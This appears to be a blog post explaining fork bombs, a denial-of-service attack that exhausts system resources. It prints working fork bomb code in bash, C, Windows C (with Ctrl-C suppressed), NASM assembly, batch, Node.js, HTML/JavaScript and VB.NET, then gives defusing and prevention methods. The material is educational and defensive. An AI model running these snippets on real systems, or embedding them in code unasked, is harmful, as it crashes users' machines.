Rabbit Virus
A fork bomb (also called rabbit virus or wabbit) is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, slowing down or crashing the system due to resource starvation.
Understanding the above:
:() # define ':' -- whenever we say ':', do this:
{ # beginning of what to do when we say ':'
: # load another copy of the ':' function into memory...
| # ...and pipe its output to...
: # ...another copy of ':' function, which has to be loaded into memory
# (therefore, ':|:' simply gets two copies of ':' loaded whenever ':' is called)
& # disown the functions -- if the first ':' is killed,
# all of the functions that it has started should NOT be auto-killed
} # end of what to do when we say ':'
; # Having defined ':', we should now...
: # ...call ':', initiating a chain-reaction: each ':' will start two more.
Given that ':' is an arbitrary name for the function, an easier to understand version would be:
forkbomb(){ forkbomb|forkbomb & } ; forkbomb
#include <unistd.h>
int main()
{
while(1)
fork();
}
#include <stdlib.h>
int main(int argc, char **argv)
{
while (1)
system(argv[0]);
}
#include <windows.h>
// signals Windows not to handle Ctrl-C itself,
// effectively making the bomb unstoppable
int main(int argn, char **argv)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
while (1)
{
SetConsoleCtrlHandler(0, 1);
CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);
}
return 0;
}
In x86 NASM assembly for Linux:
section .text
global _start ;Call start
_start:
mov eax, 2 ;Set system call number to Linux fork
int 0x80 ;Execute syscall
jmp short _start ;Go back to beginning, causing a fork bomb
In x86 64 NASM assembly for Linux:
section .text
global _start
_start:
mov rbx,57 ; Fork() is x64 syscall #57
; 'mov reg,reg' is always faster than
; 'mov reg,imm', so we stick the syscall
; index in a register that will not change
; and use it throughout our forkbomb loop
forkbomb:
mov rax,rbx ; Copy the syscall index to rax
syscall ; Invoke the system call
jmp short forkbomb ; ... and do it again, forever
A fork bomb using the Microsoft Windows batch language:
%0|%0
:here
start ''your fork bomb name''.bat
goto here
:here
start %0
goto here
A Javascript Example for Node.js.
require('child_process').spawn(process.argv.shift(),process.argv);
In a Browser similar result is achievable by HTML & Javascript by spawning new windows.
<html>
<head>
<title>Fork Bomb in HTML+JS</title>
</head>
<body>
<p>Forking Bomb</p>
<script type="text/javascript">
while(true){
var w=window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}
</script>
</body>
</html>
In VB.NET:
Do
Shell(Application.ExecutablePath())
Loop
Defusing
Once a successful fork bomb is active in a computer system, one may have to reboot it to resume its normal operation. Stopping a fork bomb requires destroying all running copies of it. Trying to use a program to kill the rogue processes normally requires creating another process ,a difficult or impossible task if the host machine has no empty slots in its process table, or no space in its memory structures. Furthermore, as the processes of the bomb are terminated (for example, by using the kill
(8) command), process slots become free and the remaining fork bomb threads can continue reproducing again, either because there are multiple CPU cores active in the system, and/or because the scheduler moved control away from kill(8) due to the time slice being used up.
On a Microsoft Windows operating system, a fork bomb can be defused by the user's logging out of his/her computer session assuming the fork bomb was started within that specific session by that user.
However, in practice, system administrators can suppress some of these fork bombs relatively easily. Consider the shell fork bomb shown below:
:(){ :|:& };:
:(){ . & };
This does not require you to invoke an additional instance of the function (notice the final : removed), as the already-forked instances of the original function will call the new one and kill themselves off as soon as there is space in the process table. This function just calls the current directory, and backgrounds itself. This way, you are not creating a process (current directory cannot be executed), but at the same time, you are killing off the other forks. This was tested on Fedora 15. Other distributions and Unix flavors may not have the same effect.
Alternatively, stopping (“freezing”) the bomb's processes can be used so that a subsequent kill/killall can terminate them without any of the parts re-replicating due to newly available process slots:
killall -STOP processWithBombName
killall -KILL processWithBombName
When a system is low on free PIDs (in Linux the maximum number of pids can be obtained from /proc/sys/kernel/pid_max), defusing a fork bomb becomes more difficult:
$ killall -9 processWithBombName bash: fork:
Cannot allocate memory
In this case, defusing the fork
bomb is only possible if you have at least one open shell. You may
not fork any process, but you can execve() any program from the
current shell. You have only one try, so choose with care.
Why not exec killall -9 directly from the shell? Because killall is not atomic and doesn't hold locks on the process list, so by the time it finishes the fork bomb will advance some generations ahead. So you need to launch a couple of killall processes, for example:
while :; do killall -9 processWithBombName; done
Prevention
One way to prevent a fork bomb
involves limiting the number of processes that a single user may
own. When a process tries to create another process and the owner of
that process already owns the maximum, the creation fails.
Administrators should set the maximum low enough so that if all the
users who might simultaneously bomb a system do so, enough resources
still remain to avoid disaster.
Note that an accidental
fork bomb is highly unlikely to involve more than one user. Linux
kernel patch grsecurity has a feature that enables logging of which
user has started a fork bomb.
Unix-type systems typically
have a process-limit, controlled by a ulimit shell command or its
successor, setrlimit. Linux kernels set and enforce the RLIMIT_NPROC
rlimit ("resource limit") of a process. If a process
tries to perform a fork and the user that owns that process already
owns RLIMIT_NPROC processes, then the fork fails.
Additionally, on Linux or *BSD, one can edit the pam_limits config
file /etc/security/limits.conf to the same effect. However, not all
distributions of Linux have the pam_limits module installed by
default.
Another solution, not widely practised, involves
the detection of fork bombs by the operating system. The Linux kernel
module called rexFBD implements this strategy.
On FreeBSD,
the system administrator can put limits in login.conf for every user,
effectively preventing using too many processes, memory, time and
other resources.
Note that simply limiting the number of
processes a process may create does not prevent a fork bomb, because
each process that the fork bomb creates could also create processes.
A distributive resource allocation system in which a process shares
its parents' resources would work, but such distributive resource
systems are not in common use.
Comments
Post a Comment